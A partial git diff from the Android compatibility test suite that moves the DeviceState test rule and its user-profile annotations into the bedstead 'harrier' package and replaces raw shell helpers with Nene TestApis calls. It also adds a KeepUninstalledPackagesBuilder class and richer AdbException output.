-import static java.nio.charset.StandardCharsets.UTF_8;
-
 import android.app.Instrumentation;
 import android.app.UiAutomation;
 import android.content.Context;
+import android.content.Intent;
 import android.os.Bundle;
-import android.os.ParcelFileDescriptor;
 import android.os.UserHandle;
 import android.util.Log;
 
 import androidx.annotation.Nullable;
+import androidx.test.core.app.ApplicationProvider;
 import androidx.test.platform.app.InstrumentationRegistry;
 
-import androidx.test.core.app.ApplicationProvider;
-
+import com.android.bedstead.harrier.annotations.EnsureHasSecondaryUser;
+import com.android.bedstead.harrier.annotations.EnsureHasTvProfile;
+import com.android.bedstead.harrier.annotations.EnsureHasWorkProfile;
 import com.android.bedstead.harrier.annotations.FailureMode;
 import com.android.bedstead.harrier.annotations.RequireFeatures;
+import com.android.bedstead.harrier.annotations.RequireRunOnPrimaryUser;
+import com.android.bedstead.harrier.annotations.RequireRunOnSecondaryUser;
+import com.android.bedstead.harrier.annotations.RequireRunOnTvProfile;
+import com.android.bedstead.harrier.annotations.RequireRunOnWorkProfile;
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.exceptions.AdbException;
+import com.android.bedstead.nene.users.UserReference;
+import com.android.bedstead.nene.utils.ShellCommand;
 import com.android.compatibility.common.util.BlockingBroadcastReceiver;
-import com.android.compatibility.common.util.enterprise.annotations.EnsureHasSecondaryUser;
-import com.android.compatibility.common.util.enterprise.annotations.EnsureHasTvProfile;
-import com.android.compatibility.common.util.enterprise.annotations.EnsureHasWorkProfile;
-import com.android.compatibility.common.util.enterprise.annotations.RequireRunOnPrimaryUser;
-import com.android.compatibility.common.util.enterprise.annotations.RequireRunOnSecondaryUser;
-import com.android.compatibility.common.util.enterprise.annotations.RequireRunOnTvProfile;
-import com.android.compatibility.common.util.enterprise.annotations.RequireRunOnWorkProfile;
 
 import org.junit.rules.TestRule;
 import org.junit.runner.Description;
@@ -56,9 +55,8 @@
 import java.util.ArrayList;
 import java.util.HashSet;
 import java.util.List;
-import java.util.NoSuchElementException;
-import java.util.Scanner;
 import java.util.Set;
+import java.util.function.Function;
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
 
@@ -77,6 +75,7 @@
 public final class DeviceState implements TestRule {
 
     private final Context mContext = ApplicationProvider.getApplicationContext();
+    private final TestApis mTestApis = new TestApis();
     private static final String SKIP_TEST_TEARDOWN_KEY = "skip-test-teardown";
     private static final String SKIP_TESTS_REASON_KEY = "skip-tests-reason";
     private final boolean mSkipTestTeardown;
@@ -90,7 +89,8 @@
 
     public DeviceState() {
         Bundle arguments = InstrumentationRegistry.getArguments();
-        mSkipTestTeardown = Boolean.parseBoolean(arguments.getString(SKIP_TEST_TEARDOWN_KEY, "false"));
+        mSkipTestTeardown = Boolean.parseBoolean(
+                arguments.getString(SKIP_TEST_TEARDOWN_KEY, "false"));
         mSkipTestsReason = arguments.getString(SKIP_TESTS_REASON_KEY, "");
         mSkipTests = !mSkipTestsReason.isEmpty();
     }
@@ -160,17 +160,20 @@
                     }
                 }
 
-                Log.d("DeviceState", "Finished preparing state for test " + description.getMethodName());
+                Log.d("DeviceState",
+                        "Finished preparing state for test " + description.getMethodName());
 
                 try {
                     base.evaluate();
                 } finally {
-                    Log.d("DeviceState", "Tearing down state for test " + description.getMethodName());
+                    Log.d("DeviceState",
+                            "Tearing down state for test " + description.getMethodName());
                     teardownNonShareableState();
                     if (!mSkipTestTeardown) {
                         teardownShareableState();
                     }
-                    Log.d("DeviceState", "Finished tearing down state for test " + description.getMethodName());
+                    Log.d("DeviceState",
+                            "Finished tearing down state for test " + description.getMethodName());
                 }
             }};
     }
@@ -181,17 +184,19 @@
 
     private void requireFeature(String feature, FailureMode failureMode) {
         if (failureMode.equals(FailureMode.FAIL)) {
-            assertThat(mContext.getPackageManager().hasSystemFeature(feature)).isTrue();
+            assertThat(mTestApis.packages().features().contains(feature)).isTrue();
         } else if (failureMode.equals(FailureMode.SKIP)) {
             assumeTrue("Device must have feature " + feature,
-                    mContext.getPackageManager().hasSystemFeature(feature));
+                    mTestApis.packages().features().contains(feature));
         } else {
             throw new IllegalStateException("Unknown failure mode: " + failureMode);
         }
     }
 
     private void requireUserSupported(String userType) {
-        assumeTrue("Device must support user type " + userType + " only supports: " + getSupportedProfileTypes(), getSupportedProfileTypes().contains(userType));
+        assumeTrue("Device must support user type " + userType
+                + " only supports: " + mTestApis.users().supportedTypes(),
+                mTestApis.users().supportedType(userType) != null);
     }
 
     public enum UserType {
@@ -387,7 +392,10 @@
         final boolean removing;
         final Set<String> flags;
 
-        UserInfo(int id, String type, int parent, boolean isPrimary, boolean removing, Set<String> flags) {
+        UserInfo(
+                int id, String type,
+                int parent,
+                boolean isPrimary, boolean removing, Set<String> flags) {
             this.id = id;
             this.type = type;
             this.parent = parent;
@@ -398,7 +406,15 @@
 
         @Override
         public String toString() {
-            return "UserInfo{id=" + id + ", type=" + type + ", parent=" + parent + ", isPrimary=" + isPrimary + ", flags=" + flags.toString();
+            return "UserInfo{id=" + id
+                    + ", type="
+                    + type
+                    + ", parent="
+                    + parent
+                    + ", isPrimary="
+                    + isPrimary
+                    + ", flags="
+                    + flags.toString();
         }
     }
 
@@ -414,8 +430,12 @@
 
 
     private Set<UserInfo> listUsers(boolean includeRemoving) {
-        String command = "dumpsys user";
-        String commandOutput = runCommandWithOutput(command);
+        String commandOutput = "";
+        try {
+            commandOutput = ShellCommand.builder("dumpsys user").execute();
+        } catch (AdbException e) {
+            throw new IllegalStateException("Error getting user list", e);
+        }
 
         String userArea = commandOutput.split("Users:.*\n")[1].split("\n\n")[0];
         Set<String> userStrings = new HashSet<>();
@@ -484,13 +504,13 @@
         int workProfileId = getWorkProfileId(forUser);
 
         // TODO(scottjonathan): Can make this quicker by checking if we're already running
-        runCommandWithOutput("am start-user -w " + workProfileId);
+        mTestApis.users().find(workProfileId).start();
         if (installTestApp) {
-            installInProfile(workProfileId,
-                    sInstrumentation.getContext().getPackageName());
+            mTestApis.packages().find(sInstrumentation.getContext().getPackageName())
+                    .install(mTestApis.users().find(workProfileId));
         } else {
-            uninstallFromProfile(workProfileId,
-                    sInstrumentation.getContext().getPackageName());
+            mTestApis.packages().find(sInstrumentation.getContext().getPackageName())
+                    .uninstall(mTestApis.users().find(workProfileId));
         }
     }
 
@@ -501,11 +521,11 @@
             createTvProfile(resolveUserTypeToUserId(forUser));
         }
         if (installTestApp) {
-            installInProfile(getTvProfileId(forUser),
-                    sInstrumentation.getContext().getPackageName());
+            mTestApis.packages().find(sInstrumentation.getContext().getPackageName())
+                    .install(mTestApis.users().find(getTvProfileId(forUser)));
         } else {
-            uninstallFromProfile(getTvProfileId(forUser),
-                    sInstrumentation.getContext().getPackageName());
+            mTestApis.packages().find(sInstrumentation.getContext().getPackageName())
+                    .uninstall(mTestApis.users().find(getTvProfileId(forUser)));
         }
     }
 
@@ -515,10 +535,11 @@
             createSecondaryUser();
         }
         if (installTestApp) {
-            installInProfile(getSecondaryUserId(), sInstrumentation.getContext().getPackageName());
+            mTestApis.packages().find(sInstrumentation.getContext().getPackageName())
+                    .install(mTestApis.users().find(getSecondaryUserId()));
         } else {
-            uninstallFromProfile(getSecondaryUserId(),
-                    sInstrumentation.getContext().getPackageName());
+            mTestApis.packages().find(sInstrumentation.getContext().getPackageName())
+                    .uninstall(mTestApis.users().find(getSecondaryUserId()));
         }
     }
 
@@ -535,8 +556,17 @@
      * test has run.
      */
     public BlockingBroadcastReceiver registerBroadcastReceiver(String action) {
+        return registerBroadcastReceiver(action, /* checker= */ null);
+    }
+
+    /**
+     * Create and register a {@link BlockingBroadcastReceiver} which will be unregistered after the
+     * test has run.
+     */
+    public BlockingBroadcastReceiver registerBroadcastReceiver(
+            String action, Function<Intent, Boolean> checker) {
         BlockingBroadcastReceiver broadcastReceiver =
-                new BlockingBroadcastReceiver(mContext, action);
+                new BlockingBroadcastReceiver(mContext, action, checker);
         broadcastReceiver.register();
         registeredBroadcastReceivers.add(broadcastReceiver);
 
@@ -569,7 +599,7 @@
 
     private void teardownShareableState() {
         for (Integer userId : createdUserIds) {
-            runCommandWithOutput("pm remove-user " + userId);
+            mTestApis.users().find(userId).remove();
         }
 
         createdUserIds.clear();
@@ -577,111 +607,51 @@
 
     private void createWorkProfile(int parentUserId) {
         requireCanSupportAdditionalUser();
-        final String createUserOutput =
-                runCommandWithOutput(
-                        "pm create-user --profileOf " + parentUserId + " --managed work");
-        final int profileId = Integer.parseInt(createUserOutput.split(" id ")[1].trim());
-        createdUserIds.add(profileId);
+        try {
+            int profileId = ShellCommand.builder("pm create-user")
+                    .addOption("--profileOf", parentUserId)
+                    .addOperand("--managed")
+                    .addOperand("work")
+                    .executeAndParseOutput(
+                            output -> Integer.parseInt(output.split(" id ")[1].trim()));
+            mTestApis.users().find(profileId).start();
+            createdUserIds.add(profileId);
+        } catch (AdbException e) {
+            throw new IllegalStateException("Error creating work profile", e);
+        }
     }
 
     private void createTvProfile(int parentUserId) {
         requireCanSupportAdditionalUser();
-        final String createUserOutput =
-                runCommandWithOutput(
-                        "pm create-user --profileOf " + parentUserId + " --user-type "
-                                + TV_PROFILE_TYPE + " tv");
-        final int profileId = Integer.parseInt(createUserOutput.split(" id ")[1].trim());
-        runCommandWithOutput("am start-user -w " + profileId);
-        createdUserIds.add(profileId);
+        try {
+            int profileId = ShellCommand.builder("pm create-user")
+                    .addOption("--profileOf", parentUserId)
+                    .addOption("--user-type", TV_PROFILE_TYPE)
+                    .addOperand("--managed")
+                    .addOperand("tv")
+                    .executeAndParseOutput(
+                            output -> Integer.parseInt(output.split(" id ")[1].trim()));
+            mTestApis.users().find(profileId).start();
+            createdUserIds.add(profileId);
+        } catch (AdbException e) {
+            throw new IllegalStateException("Error creating work profile", e);
+        }
     }
 
     private void createSecondaryUser() {
         requireCanSupportAdditionalUser();
-        final String createUserOutput =
-                runCommandWithOutput("pm create-user secondary");
-        final int userId = Integer.parseInt(createUserOutput.split(" id ")[1].trim());
-        runCommandWithOutput("am start-user -w " + userId);
-        createdUserIds.add(userId);
-    }
-
-    private void installInProfile(int profileId, String packageName) {
-        runCommandWithOutput("pm install-existing --user " + profileId + " " + packageName);
-    }
-
-    private void uninstallFromProfile(int profileId, String packageName) {
-        runCommandWithOutput("pm uninstall --user " + profileId + " " + packageName);
-    }
-
-    private String runCommandWithOutput(String command) {
-        ParcelFileDescriptor p = runCommand(command);
-
-        try (Scanner scanner = new Scanner(new ParcelFileDescriptor.AutoCloseInputStream(p),
-                UTF_8.name())) {
-            String s = scanner.useDelimiter("\\A").next();
-            Log.d("DeviceState", "Running command " + command + " got output: " + s);
-            return s;
-        } catch (NoSuchElementException e) {
-            Log.d("DeviceState", "Running command " + command + " with no output", e);
-            return "";
-        }
-    }
-
-    private ParcelFileDescriptor runCommand(String command) {
-        Log.d("DeviceState", "Running command " + command);
-        return getAutomation()
-                .executeShellCommand(command);
-    }
-
-    private UiAutomation getAutomation() {
-        if (mUiAutomation != null) {
-            return mUiAutomation;
-        }
-
-        int retries = MAX_UI_AUTOMATION_RETRIES;
-        mUiAutomation = sInstrumentation.getUiAutomation(FLAG_DONT_USE_ACCESSIBILITY);
-        while (mUiAutomation == null && retries > 0) {
-            Log.e(LOG_TAG, "Failed to get UiAutomation");
-            retries--;
-            mUiAutomation = sInstrumentation.getUiAutomation(FLAG_DONT_USE_ACCESSIBILITY);
-        }
-
-        if (mUiAutomation == null) {
-            throw new AssertionError("Could not get UiAutomation");
-        }
-
-        return mUiAutomation;
+        UserReference user = mTestApis.users().createUser().createAndStart();
+        createdUserIds.add(user.id());
     }
 
     private int getMaxNumberOfUsersSupported() {
-        String command = "pm get-max-users";
-        String commandOutput = runCommandWithOutput(command);
         try {
-            return Integer.parseInt(commandOutput.substring(commandOutput.lastIndexOf(" ")).trim());
-        } catch (NumberFormatException e) {
+            return ShellCommand.builder("pm get-max-users")
+                    .validate((output) -> output.startsWith("Maximum supported users:"))
+                    .executeAndParseOutput(
+                            (output) -> Integer.parseInt(output.split(": ", 2)[1].trim()));
+        } catch (AdbException e) {
             throw new IllegalStateException("Invalid command output", e);
         }
     }
-
-    private Set<String> mSupportedProfileTypesCache = null;
-    private static final Pattern USER_TYPE_PATTERN = Pattern.compile("mName: (.+)");
-
-    private Set<String> getSupportedProfileTypes() {
-        if (mSupportedProfileTypesCache != null) {
-            return mSupportedProfileTypesCache;
-        }
-
-        String command = "dumpsys user";
-        String commandOutput = runCommandWithOutput(command);
-
-        String userArea = commandOutput.split("User types \\(\\d+ types\\):")[1].split("\n\n")[0];
-        mSupportedProfileTypesCache = new HashSet<>();
-
-        Matcher matcher = USER_TYPE_PATTERN.matcher(userArea);
-
-        while(matcher.find()) {
-            mSupportedProfileTypesCache.add(matcher.group(1));
-        }
-
-        return mSupportedProfileTypesCache;
-    }
 }
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/annotations/EnsureHasSecondaryUser.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasSecondaryUser.java
similarity index 88%
rename from common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/annotations/EnsureHasSecondaryUser.java
rename to common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasSecondaryUser.java
index a9718bb..9419a48 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/annotations/EnsureHasSecondaryUser.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasSecondaryUser.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2020 The Android Open Source Project
+ * Copyright (C) 2021 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -14,9 +14,9 @@
  * limitations under the License.
  */
 
-package com.android.compatibility.common.util.enterprise.annotations;
+package com.android.bedstead.harrier.annotations;
 
-import com.android.compatibility.common.util.enterprise.DeviceState;
+import com.android.bedstead.harrier.DeviceState;
 
 import java.lang.annotation.ElementType;
 import java.lang.annotation.Retention;
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/annotations/EnsureHasTvProfile.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasTvProfile.java
similarity index 82%
rename from common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/annotations/EnsureHasTvProfile.java
rename to common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasTvProfile.java
index f085a9b..0345491 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/annotations/EnsureHasTvProfile.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasTvProfile.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2020 The Android Open Source Project
+ * Copyright (C) 2021 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -14,11 +14,11 @@
  * limitations under the License.
  */
 
-package com.android.compatibility.common.util.enterprise.annotations;
+package com.android.bedstead.harrier.annotations;
 
-import static com.android.compatibility.common.util.enterprise.DeviceState.UserType.CURRENT_USER;
+import static com.android.bedstead.harrier.DeviceState.UserType.CURRENT_USER;
 
-import com.android.compatibility.common.util.enterprise.DeviceState;
+import com.android.bedstead.harrier.DeviceState;
 
 import java.lang.annotation.ElementType;
 import java.lang.annotation.Retention;
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/annotations/EnsureHasWorkProfile.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasWorkProfile.java
similarity index 83%
rename from common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/annotations/EnsureHasWorkProfile.java
rename to common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasWorkProfile.java
index 55109d6..b2c1e25 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/annotations/EnsureHasWorkProfile.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasWorkProfile.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2020 The Android Open Source Project
+ * Copyright (C) 2021 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -14,11 +14,11 @@
  * limitations under the License.
  */
 
-package com.android.compatibility.common.util.enterprise.annotations;
+package com.android.bedstead.harrier.annotations;
 
-import static com.android.compatibility.common.util.enterprise.DeviceState.UserType.CURRENT_USER;
+import static com.android.bedstead.harrier.DeviceState.UserType.CURRENT_USER;
 
-import com.android.compatibility.common.util.enterprise.DeviceState;
+import com.android.bedstead.harrier.DeviceState;
 
 import java.lang.annotation.ElementType;
 import java.lang.annotation.Retention;
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/annotations/Postsubmit.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/Postsubmit.java
similarity index 91%
rename from common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/annotations/Postsubmit.java
rename to common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/Postsubmit.java
index a2eb6f6..bb9d248 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/annotations/Postsubmit.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/Postsubmit.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2020 The Android Open Source Project
+ * Copyright (C) 2021 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -14,7 +14,7 @@
  * limitations under the License.
  */
 
-package com.android.compatibility.common.util.enterprise.annotations;
+package com.android.bedstead.harrier.annotations;
 
 import java.lang.annotation.ElementType;
 import java.lang.annotation.Retention;
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/annotations/RequireRunOnPrimaryUser.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireRunOnPrimaryUser.java
similarity index 85%
rename from common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/annotations/RequireRunOnPrimaryUser.java
rename to common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireRunOnPrimaryUser.java
index 808fbca..c30452e 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/annotations/RequireRunOnPrimaryUser.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireRunOnPrimaryUser.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2020 The Android Open Source Project
+ * Copyright (C) 2021 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -14,9 +14,9 @@
  * limitations under the License.
  */
 
-package com.android.compatibility.common.util.enterprise.annotations;
+package com.android.bedstead.harrier.annotations;
 
-import com.android.compatibility.common.util.enterprise.DeviceState;
+import com.android.bedstead.harrier.DeviceState;
 
 import java.lang.annotation.ElementType;
 import java.lang.annotation.Retention;
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/annotations/RequireRunOnSecondaryUser.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireRunOnSecondaryUser.java
similarity index 87%
rename from common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/annotations/RequireRunOnSecondaryUser.java
rename to common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireRunOnSecondaryUser.java
index 37894e0..6205df9 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/annotations/RequireRunOnSecondaryUser.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireRunOnSecondaryUser.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2020 The Android Open Source Project
+ * Copyright (C) 2021 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -14,9 +14,9 @@
  * limitations under the License.
  */
 
-package com.android.compatibility.common.util.enterprise.annotations;
+package com.android.bedstead.harrier.annotations;
 
-import com.android.compatibility.common.util.enterprise.DeviceState;
+import com.android.bedstead.harrier.DeviceState;
 
 import java.lang.annotation.ElementType;
 import java.lang.annotation.Retention;
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/annotations/RequireRunOnTvProfile.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireRunOnTvProfile.java
similarity index 85%
rename from common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/annotations/RequireRunOnTvProfile.java
rename to common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireRunOnTvProfile.java
index 5cdda67..7a4f4cf 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/annotations/RequireRunOnTvProfile.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireRunOnTvProfile.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2020 The Android Open Source Project
+ * Copyright (C) 2021 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -14,9 +14,9 @@
  * limitations under the License.
  */
 
-package com.android.compatibility.common.util.enterprise.annotations;
+package com.android.bedstead.harrier.annotations;
 
-import com.android.compatibility.common.util.enterprise.DeviceState;
+import com.android.bedstead.harrier.DeviceState;
 
 import java.lang.annotation.ElementType;
 import java.lang.annotation.Retention;
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/annotations/RequireRunOnWorkProfile.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireRunOnWorkProfile.java
similarity index 87%
rename from common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/annotations/RequireRunOnWorkProfile.java
rename to common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireRunOnWorkProfile.java
index 4c3c816..70ddc97 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/annotations/RequireRunOnWorkProfile.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireRunOnWorkProfile.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2020 The Android Open Source Project
+ * Copyright (C) 2021 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -14,9 +14,9 @@
  * limitations under the License.
  */
 
-package com.android.compatibility.common.util.enterprise.annotations;
+package com.android.bedstead.harrier.annotations;
 
-import com.android.compatibility.common.util.enterprise.DeviceState;
+import com.android.bedstead.harrier.DeviceState;
 
 import java.lang.annotation.ElementType;
 import java.lang.annotation.Retention;
diff --git a/common/device-side/bedstead/nene/Android.bp b/common/device-side/bedstead/nene/Android.bp
index d21fab6..4719478 100644
--- a/common/device-side/bedstead/nene/Android.bp
+++ b/common/device-side/bedstead/nene/Android.bp
@@ -8,7 +8,7 @@
     static_libs: [
         "compatibility-device-util-axt",
     ],
-    min_sdk_version: "26"
+    min_sdk_version: "27"
 }
 
 android_test {
@@ -30,7 +30,7 @@
     ],
     data: [":NeneTestApp1"],
     manifest: "src/test/AndroidManifest.xml",
-    min_sdk_version: "26"
+    min_sdk_version: "27"
 }
 
 android_test_helper_app {
@@ -39,5 +39,5 @@
         "EventLib"
     ],
     manifest: "testapps/TestApp1.xml",
-    min_sdk_version: "26"
+    min_sdk_version: "27"
 }
\ No newline at end of file
diff --git a/common/device-side/bedstead/nene/src/main/AndroidManifest.xml b/common/device-side/bedstead/nene/src/main/AndroidManifest.xml
index a8d91e7..e269c76 100644
--- a/common/device-side/bedstead/nene/src/main/AndroidManifest.xml
+++ b/common/device-side/bedstead/nene/src/main/AndroidManifest.xml
@@ -18,7 +18,7 @@
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
           package="com.android.bedstead.nene">
-    <uses-sdk android:minSdkVersion="26" />
+    <uses-sdk android:minSdkVersion="27" />
     <application>
     </application>
 </manifest>
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/exceptions/AdbException.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/exceptions/AdbException.java
index b71106b..77b5dbb 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/exceptions/AdbException.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/exceptions/AdbException.java
@@ -16,21 +16,33 @@
 
 package com.android.bedstead.nene.exceptions;
 
+import androidx.annotation.Nullable;
+
 /**
  * An exception that gets thrown when interacting with Adb.
  */
 public class AdbException extends Exception {
 
-    private final String command;
-    private final String output;
+    private final String mCommand;
+    private final @Nullable String mOutput;
+    private final @Nullable String mErr;
 
     public AdbException(String message, String command, String output) {
+        this(message, command, output, /* err= */ (String) null);
+    }
+
+    public AdbException(String message, String command, String output, String err) {
         super(message);
         if (command == null) {
             throw new NullPointerException();
         }
-        this.command = command;
-        this.output = output;
+        this.mCommand = command;
+        this.mOutput = output;
+        this.mErr = err;
+    }
+
+    public AdbException(String message, String command, Throwable cause) {
+        this(message, command, /* output= */ null, cause);
     }
 
     public AdbException(String message, String command, String output, Throwable cause) {
@@ -38,20 +50,32 @@
         if (command == null) {
             throw new NullPointerException();
         }
-        this.command = command;
-        this.output = output;
+        this.mCommand = command;
+        this.mOutput = output;
+        this.mErr = null;
     }
 
     public String command() {
-        return command;
+        return mCommand;
     }
 
     public String output() {
-        return output;
+        return mOutput;
     }
 
     @Override
     public String toString() {
-        return super.toString() + "[command=\"" + command + "\" output=\"" + output + "\"]";
+        StringBuilder stringBuilder = new StringBuilder(super.toString());
+
+        stringBuilder.append("[command=\"").append(mCommand).append("\"");
+        if (mOutput != null) {
+            stringBuilder.append(", output=\"").append(mOutput).append("\"");
+        }
+        if (mErr != null) {
+            stringBuilder.append(", err=\"").append(mErr).append("\"");
+        }
+        stringBuilder.append("]");
+
+        return stringBuilder.toString();
     }
 }
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/KeepUninstalledPackagesBuilder.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/KeepUninstalledPackagesBuilder.java
new file mode 100644
index 0000000..b81764d
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/KeepUninstalledPackagesBuilder.java
@@ -0,0 +1,94 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.packages;
+
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.os.Build;
+
+import androidx.annotation.RequiresApi;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.List;
+
+
+/**
+ * Builder for a list of packages which will not be cleaned up by the system even if they are not
+ * installed on any user.
+ */
+@RequiresApi(Build.VERSION_CODES.S)
+public final class KeepUninstalledPackagesBuilder {
+
+    private final List<String> mPackages = new ArrayList<>();
+
+    KeepUninstalledPackagesBuilder() {
+    }
+
+    /**
+     * Commit the collection of packages which will not be cleaned up.
+     *
+     * <p>Packages previously in the list but not in the updated list may be removed at any time if
+     * they are not installed on any user.
+     */
+    public void commit() {
+        // TODO(scottjonathan): Investigate if we can make this backwards compatible by pulling the
+        //  APK files and keeping them (either as a file or in memory) until needed to resolve or
+        //  re-install
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        PackageManager packageManager = context.getPackageManager();
+
+        // TODO(scottjonathan): Once we support permissions in Nene, use that call here
+
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            // Needs KEEP_UNINSTALLED_PACKAGES
+            packageManager.setKeepUninstalledPackages(mPackages);
+        });
+    }
+
+    /**
+     * Clear the list of packages which will not be cleaned up.
+     *
+     * <p>Packages previously in the list may be removed at any time if they are not installed on
+     * any user.
+     */
+    public void clear() {
+        mPackages.clear();
+        commit();
+    }
+
+    /**
+     * Add a package to the list of those which will not be cleaned up.
+     */
+    public KeepUninstalledPackagesBuilder add(PackageReference pkg) {
+        mPackages.add(pkg.packageName());
+        return this;
+    }
+
+    /**
+     * Add a collection of packages to the list of those which will not be cleaned up.
+     */
+    public KeepUninstalledPackagesBuilder add(Collection<PackageReference> packages) {
+        for (PackageReference pkg : packages) {
+            add(pkg);
+        }
+        return this;
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/PackageReference.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/PackageReference.java
index 5a49ae7..5602fb0 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/PackageReference.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/PackageReference.java
@@ -22,7 +22,6 @@
 import com.android.bedstead.nene.exceptions.NeneException;
 import com.android.bedstead.nene.users.UserReference;
 import com.android.bedstead.nene.utils.ShellCommand;
